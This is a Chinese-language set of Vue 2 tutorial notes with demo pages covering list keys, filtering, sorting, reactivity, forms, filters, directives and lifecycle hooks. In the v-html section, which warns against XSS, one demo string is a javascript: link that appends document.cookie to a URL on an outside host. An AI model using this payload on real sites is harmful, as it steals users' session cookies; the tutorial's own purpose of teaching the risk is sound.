key作用域与原理
react、vue中的key有什么作用？（key的内部原理）
-
虚拟DOM中key的作用：key是虚拟DOM中对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】，随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
-
对比规则：diff算法
- 旧虚拟DOM中找到了与新虚拟DOM相同的key：
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM
- 若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM
- 旧虚拟DOM中未找到与新虚拟DOM相同的key：创建新的真实DOM，随后渲染到到页面
- 用index作为key可能会引发的问题：
节点复用率比较低，并且当内部含有input之类的元素时，会出错
- 若对数据进行逆序添加、逆序删除等破坏顺序操作：会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低
- 若结构中还包含输入类的DOM：会产生错误DOM更新 ==> 界面有问题
- 开发中如何选择key?
- 最好使用每条数据的唯一标识作为key，比如id、手机号、身份证号、学号等唯一值
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作，仅用于渲染列表，使用index作为key是没有问题的
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>key的原理</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<button @click.once="add">添加老刘</button>
<ul>
<!-- key给节点设置一个标识 -->
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}} ---- {{p.age}}
<input type="text">
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
persons: [
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
]
},
methods: {
add() {
const p = { id: '004', name: '老刘', age: 40 }
this.persons.unshift(p);//在数组开头中添加一个或多个元素
}
}
})
</script>
</html>
列表过滤filter
模糊搜索
1.原数据不能直接修改，也就是不能写this.person=this.person.filter(…)
一开始什么也没有输入，就改变了一次
任何字符串都包含空串（indexOf(‘’) = 0 ），也就是为什么删除之后，所有的数据就都出来了
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>列表过滤</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入文字查询" v-model="keywords">
<ul>
<!-- key给节点设置一个标识 -->
<li v-for="(p,index) in fulpersons" :key="index">
{{p.name}} ---- {{p.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
//watch实现
// #region
/*
new Vue({
el: "#root",
data: {
keywords: "",
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
fulpersons: [],
},
watch: {
keywords: {
immediate: true,
// immediate:true一上来监视一下
handler(newValue) {
this.fulpersons = this.persons.filter((p) => {
return p.name.indexOf(newValue) != -1;
//indexOf会返回所匹配的字符串在查询字符串中的下标位置，-1代表不匹配
})
}
}
}
})*/
//#endregion
new Vue({
el: "#root",
data: {
keywords: "",
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
},
computed:{
fulpersons(){
return this.persons.filter((p)=>{
return p.name.indexOf(this.keywords) !== -1
})
}
}
})
</script>
</html>
列表排序
关于sort函数的用法
写在 computed里面也是可以进行监视的，当涉及到的元素发生改变时，computed会自动计算并更新数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>key的原理</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入文字查询" v-model="keywords">
<button @click="SortType=0">原年龄</button>
<button @click="SortType=1">年龄升序</button>
<button @click="SortType=2">年龄降序</button>
<ul>
<!-- key给节点设置一个标识 -->
<li v-for="(p,index) in fulpersons" :key="p.id">
{{p.name}} ---- {{p.age}}---{{p.sex}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
SortType: "0",//0代表原顺序,1代表升序，2代表降序
keywords: "",
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 30, sex: '女' },
{ id: '003', name: '周杰伦', age: 5, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
},
computed: {
fulpersons() {
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keywords) !== -1
})
//sorttype不论是1还是2，布尔值都是1
if (this.SortType) {
//关于sort函数排序（sort是改变原数组的）
return arr.sort((p1, p2) => {
return this.SortType === 1 ? p1.age - p2.age : p2.age - p1.age;
})
}
return arr;
}
}
})
</script>
</html>
更新时的问题 检测数据的原理
问题所在:
数据劫持中的observer方法（一层数据时）
1.拿到data，进行加工，才变成_data(加工之后就可以进行响应式了)
2.set能影响页面
vm._data.student.sex=“男”
Vue.set()API中三个参数,可以设置响应式的数据
target，要追加属性的目标名称
key,追加的属性的名称
val，value
想要在页面上设置啥，一开始就设置好，后面补充属性的话，是不生效的，因为没有get\set方法，不是响应式的。那怎么样才能生效呢？可以通过下面三句变成响应式的，因为这个vue给我们的API
Vue.set(vm._data.student,“sex”,“男”)
this.$set(vm._data.student,"sex","男")//因为this指的就是Vue
或者
Vm.$set(vm._data.student,“sex”,“男”)
这样设置之后就是响应式的了
vm._data.student===vm.student（数据代理，换成这个也行）
局限性：vm和vm.data都不能作为target
//但是如果我要是把sex直接写在data中，我必须先定义一个sex的空串，就是把sex:''写出来
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>监测原理</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<button @click="addSex">添加一个性别属性</button><br>
<h2 v-if="student.sex">性别是：{{student.sex}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
name: "df",
student: {
age: 19,
}
},
methods: {
addSex() {
//这个地方的this就是vm
// Vue.set(vm._data.student,"sex","男")
//局限性，只能给vue中data中的对象增加数据，不能给vue.data增加数据，也就是说，Vue.set(vm._data,"sex","男")，这样是错误的，，会报错
this.$set(this.student, 'sex', '男');
}
}
})
</script>
</html>
Vue监视数据总结
判断新添加的元素是否是响应式（有get/set）
怎么监听数组的信息？
这就是为什么直接通过索引值修改，不生效，
可以通过this.persons.splice(0,1,{要替换的东西})
那么我怎么修改数组中的数据呢，通过下面封装好的方法：
那么这些方法是怎么实现响应式的呢？
还有一个问题，不一定非得写vm._data.student.xxx 通过vm.student也可以，有数据代理
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>key的原理</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>student information</h1>
<button @click="student.age++">age++</button>
<button @click="addSex">add sex attribute defaultvalue man</button>
<button @click="student.sex='未知'">update sex</button>
<button @click="addFriend">add a friend at head</button>
<button @click="updateFirstFriend">update firstfriend name:zhangsan</button><br><br>
<button @click="addHobby">add a hobby</button>
<button @click="updatehobby">update a hobby:drive</button>
<button @click="removeSmoke">过滤掉爱好中的抽烟</button>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}---{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
student: {
name: 'qut',
age: 18,
hobby: [
'smoke', 'wine', 'fair'
],
friends: [
{ name: 'jerry', age: 35 },
{ name: 'tony', age: 36 }
],
}
},
methods: {
addSex() {
// Vue.set(vm.student,"sex","男");//√
// Vue.set(this.student,"sex","男");//√
// Vue.$set(this.student,"sex","男");//错误
this.$set(this.student, "sex", "男");
},
addFriend() {
this.student.friends.unshift({ name: "liu", age: 50 });//能做响应式吗？能，通过控制台验证（有get/set就行s）
},
updateFirstFriend() {
// this.student.friends[0] = "qut";//不能实现响应式
this.student.friends[0].name = "qut";//能实现响应式，因为对象里面有set get
this.student.friends[0].age = "99";
},
addHobby() {
this.student.hobby.push("study");
},
updatehobby() {
// this.student.hobby[0]="drive";//Vue不认
//把[0,1),也就是第一个删掉，然后更改为hobby
// this.student.hobby.splice(0,1,"drive");
this.$set(this.student.hobby, 0, '开车');
},
removeSmoke(){
/* filter不能引起原数组的改变，所以Vue检测不到
this.student.hobby.filter((h)=>{
return h!=='smoke';
})
更改之后就可以改变了
*/
this.student.hobby=this.student.hobby.filter((h)=>{
//箭头函数中的this 和外面的this是一致的
// if(h!="smoke"){
// return true;
// }
// else{
// return false;
// }
return h!=='smoke';
})
// this.student.hobby=this.student.hobby.filter(function a (){
// //打印的是window中的this
// console.log(this,"this2");
// })
}
}
})
</script>
</html>
收集表单数据
直接打印vm._data得到的是带有get set的结果，（...）
<!-- 只能输入数字 前端的number控制不能输入abc这种非数字的，后面的number表示结果是个数字不是字符串 -->
年龄: <input type="number" v-model.number="userinfo.age"><br>
console.log(this.userinfo,'没转换之前 ');//将对象转换成字符串
console.log(JSON.stringify(this.userinfo),'转换之后');//将对象转换成字符串
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 阻止跳转这个默认行为 -->
<form @submit.prevent="subDemo">
<!-- 文字也获取焦点 -->
<label for="demo">账号: </label>
<!-- trim去掉首尾空格 -->
<input type="text" id="demo" v-model.trim="userinfo.account"><br>
密码: <input type="password" v-model="userinfo.password"><br>
<!-- 只能输入数字 -->
年龄: <input type="number" v-model.number="userinfo.age"><br>
性别:
<!-- 把那么name都写成sex,就是单选按钮 -->
男：<input type="radio" name="sex" v-model="userinfo.sex" value="man">
女: <input type="radio" name="sex" v-model="userinfo.sex" value="woman"><br><br>
爱好：
学习<input type="checkbox" v-model="userinfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userinfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userinfo.hobby" value="eat">
<br /><br />
所属校区：
<select v-model="userinfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br /><br />
其他信息：
<!--加上lazy就不会时时刻刻收集，提交的时候收集 -->
<textarea v-model.lazy="userinfo.other"></textarea> <br /><br />
<input type="checkbox" v-model="userinfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
userinfo: {
account: '',
age: 0,
password: '',
sex: "female",//这个地方写的就是默认值
// hobby:"",hobby的初始值影响它对数据的收集,这个地方就会编程true/false，而不是收集的具体值
hobby: [],
city: 'beijing',
other: '',
agree: ''//这个地方要的就是是否勾选
}
},
methods: {
subDemo(){
console.log(JSON.stringify(this.userInfo));//将对象转换成字符串
}
}
})
</script>
</html>
过滤器
-
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
-
注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
-
使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
只能是差值语法或者v-bind可以用，v-model就不可以过滤器可以接收额外参数，多个过滤器也可以串联 并没有改变原本的数据，而是产生新的对应的数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>过滤器</title>
<script src="../js/vue.js"></script>
<script src="../js/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<!-- 新的数据处理方式，不是必须要用的东西
时间戳，可以通过Date.now(),返回的就是时间戳
把时间戳转化为正常的方式
-->
<h2>现在是格式化之后的时间</h2>
<h3>格式化后的时间{{funTime}}</h3>
<h3>现在是{{getFmtTime()}}</h3>
<!-- 过滤器实现 自己写的名字-->
<h3>现在是:{{time | timeformater}}</h3>
<!-- 过滤器实现 传参数 -->
<h3>现在是now:{{time | timeformater('YYYY_MM_DD ')}}</h3>
<h3>现在是now:{{time | timeformater('YYYY_MM_DD') | mySlice}}</h3>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
// 全局过滤器
Vue.filter('mySlice', function (value) { return value.slice(0, 4); });
new Vue({
el: "#root",
data: {
time: 1651217873565//时间戳
},
computed: {
funTime() {
//传入参数，就是参数的时间
//不传参数，就是当前的时间
// return dayjs(this.time);
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
}
},
methods: {
getFmtTime() {
return dayjs(this.time);
}
},
filters: {
//自行起名字，把time传给timeformater，执行完之后的值替换掉{{}}中的内容
timeformater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
// console.log(value);
//return 'hello';//返回值替换掉{{}}中内容
return dayjs(value).format(str);
},
// mySlice(value){
// //截取前四位，也就是年份
// //time 传给timeformater，返回值再接着传给mySlice
// return value.slice(0,4);
// }
}
});
</script>
</html>
其他内置指令
v-bind：单向绑定解析表达式，可简写为:
v-model：双向数据绑定
v-for：遍历数组 / 对象 / 字符串
v-on：绑定事件监听，可简写为@
v-if：条件渲染（动态控制节点是否存存在）
v-else：条件渲染（动态控制节点是否存存在）
v-show：条件渲染 (动态控制节点是否展示)
v-text指令：
向其所在的节点中渲染文本内容
与插值语法的区别：v-text会替换掉节点中的所有内容，把取到的内容加进去，{{xx}}则不会。
只是替换内容，不支持结构的解析
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>过滤器</title>
<script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-text="name">这时名字（这些会被替换掉）</div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "JOJO",
str: "<h3>你好啊</h3>",
str2: 'sdsfg',
},
});
</script>
</html>
v-html指令：（盗取 网站内容：41集）
作用：向指定节点中渲染包含html结构的内容
与插值语法的区别：
- v-html会替换掉节点中所有的内容，{{xx}}则不会
- v-html可以识别html结构，但是v-text不会 - v-html有安全性问题
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
- 一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！
document.cookie：获取当前网站的全部cookie
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'JOJO',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
}
})
</script>
</html>
v-cloak
- v-cloak指令 (没有值)，本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
- script可以写在body中最后一行,
- 如果用其他的服务器，可能会造成延时，假设延时5s，但是页面上会出现{{name}},因为还不知道name是什么，所以这个时候，我们加上一个cloak指令，当加载完成的那一刻，就会删掉v-cloak,这个时候呢，内容就可以正常显示了
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
v-once
v-once所在节点在初次动态渲染后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-once>n初始化的值是：{{n}}</h2>
<h2>n现在的值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-pre
跳过其所在节点的编译过程。
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译(写出来啥样就是啥样子)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>这个n不会被解析{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
自定义指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<!--
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
-->
<body>
<div id="root">
<h2>当前的n值是：<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<br>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
},
directives:{
//big函数何时会被调用？1.指令与元素成功绑定时（一上来） 2.指令所在的模板被重新解析时(不单单是n发生变化是，而是整个root容器发生变化时，就是页面上其他数据发生变化时)
// element:获取指令绑定的真实dom元素,binding中的value是指令的绑定值
big(element,binding){
console.log('big',this) //注意此处的this是window
console.log( binding.value);
element.innerText = binding.value * 10
},
}
})
</script>
</html>
自定义函数式写法
1.驼峰式命名法，可以不用，直接命名 v-big-number,在directives中写的时候，记得加上分号’ v-big-number’
2.big函数，fbind函数中的this都是window，凡是写在directives中的相关指令函数中的this是window
bind(element,binding)：指令与元素成功绑定时调用
inserted(element,binding)：指令所在元素被插入页面时调用
update(element,binding)：指令所在模板结构被重新解析时调用
console.dir(span):能够输出一个元素真实的样子
打印
console.log(this);
console.log(element);是一个真实的元素span，不是虚拟dom
console.log(binding);主要是需要绑定的值
得到结果：
4.指令定义时不加“v-”，但使用时要加“v-”
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<!--
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
-->
<body>
<div id="root">
<h2>当前的n值是：<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<!-- 一般方法 -->
<input type="text" v-bind:value="n"><br>
<!-- 自定义方法 -->
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
},
directives: {
//big函数何时会被调用？1.指令与元素成功绑定时（一上来） 2.指令所在的模板被重新解析时(不单单是n发生变化是，而是整个root容器发生变化是)
big(element, binding) {
console.log('big', this) //注意此处的this是window
element.innerText = binding.value * 10
},
fbind: {
/*
bind(element,binding){
不对，因为最初的执行，是在指令和元素绑定时
element.value = binding.value
element.focus()
},
*/
//指令与元素成功绑定时（一上来：只调用一次）
bind(element, binding) {
element.value = binding.value
},
//指令所在元素刚刚被插入页面时（只调用一次）
inserted(element, binding) {
element.focus()
},
//指令所在的模板被重新解析时（数据变化就会被调用）
update(element, binding) {
element.value = binding.value
// element.focus()//更新之后再获取焦点，这个是因为input已经有了，所以可以加在这
}
}
}
})
</script>
</html>
生命周期函数
- 又名：生命周期回调函数、生命周期函数、生命周期钩子
- 是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的this指向是vm 或 组件实例对象
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-if="a">你好啊</h2>
<!-- <h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
这个地方，原本应该是这样写的，前面的opacity是Css属性，后面的是data中的属性名，
简写形式，只需要写一个 这个地方，好好试试，不加{}？
-->
<h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
// 真正开发，很少使用vm的
new Vue({
el:'#root',
data:{
a:false,
opacity:1
},
//Vue完成模板的解析，并把真是的dom元素都放入页面后（挂载完毕），调用mounted
mounted(){
// console.log('mounted',this)
// mounted中的this是vm
setInterval(() => {
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
})
</script>
</html>
生命周期
生命周期
创建之前，是（数据监测，数据代理）创建之前，里面的this指的是vm，
两个函数中的一些属性互相看不见，可以设置this.id=xxx，这样就是在vm上添加属性
在beforeDestroy的时候是可以访问到this里面的数据，但是如果修改了this里面的数据，就不会触发更新了
Vue的生命周期是什么？
Vue实例从创建到销毁的过程，就是生命周期。到了某一个时间节点会自动触发，从开始创建，初始化数据，编译模板，挂载dom->渲染，更新-》渲染，歇菜等一系列过程。
Vue什么周期的作用？
Vue生命周期有很多事件钩子，帮助我我更好的控制整个Vue实例的过程时形成更好 的逻辑。
Vue声明周期有几个阶段
创建前后，载入前后，更新前后，销毁前后
如果用keep-alive 缓存了组件，就会有actived（组件激活）,deactived（组件停用）errorCaptured（子组件出错的时候触发这个钩子函数）
第一次加载会触发beforeCreate，created，beforeMount，mounted
dom渲染在mounted周期中就已经完成
这里是引用
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
opacity:1
},
methods: {
stop(){
// clearInterval(this.timer); 停掉定时器,后面点修改还可以修改
this.$destroy();//
}
},
mounted(){
console.log('mounted',this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
beforeDestroy() {
//清除定时器
clearInterval(this.timer)
console.log('vm即将驾鹤西游了')
},
})
</script>
</html>
31万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
